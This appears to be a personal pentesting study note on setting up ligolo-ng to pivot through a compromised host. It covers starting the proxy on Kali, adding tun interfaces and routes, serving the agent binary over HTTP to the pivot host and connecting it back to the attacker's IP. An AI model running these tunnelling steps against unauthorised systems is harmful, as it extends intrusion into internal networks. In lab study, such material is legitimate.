# Setup on Kali host
- First, download `ligolo-ng` proxy on Kali host![[images/Pasted image 20251014194729.png]]
- Second, decompress `ligolo-ng` proxy![[images/Pasted image 20251014194754.png]]
- Third, give `ligolo-ng` proxy 777 perms![[images/Pasted image 20251015152815.png]]
- Fourth, start proxy with `-selfcert` flag![[images/Pasted image 20251014194836.png]]
```bash
sudo ./proxy -selfcert
```
- Once agent joins we should see the following ![[images/Pasted image 20251014195357.png]]
## Autoroute
- After agent joins, target a session with `session`, then `autoroute` to create and configure interface+route, start tunnel
- New interface name `specialraptor` is created ![[images/Pasted image 20251015153718.png]]
- Confirm new interface with `ip a` ![[images/Pasted image 20251015153626.png]]
- Confirm new route with `ip route list` ![[images/Pasted image 20251015153640.png]]
- Enter all subsequent commands with `sudo`
## Manual routing
```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
ip a #confirm new interface
sudo ip route add 192.168.0.0/24 dev ligolo
ip route list #confirm existence of new route
```
- Connect to session and type `start`
# Setup on Pivot Host
- First, move `ligolo-ng` agent file from Kali host to pivot host
- Serve `ligolo-ng` agent from Kali host with `python3 http.server` from location of proxy file![[images/Pasted image 20251014201116.png]]
- Download `ligolo-ng`agent on pivot host![[images/Pasted image 20251014194939.png]]
- Second, give `ligolo-ng` agent 777 perms ![[images/Pasted image 20251015152945.png]]
- Finally, connect agent to proxy server ![[images/Pasted image 20251014195335.png]]
```bash
./agent -connect <kali_host_ip>:11601 -ignore-cert
```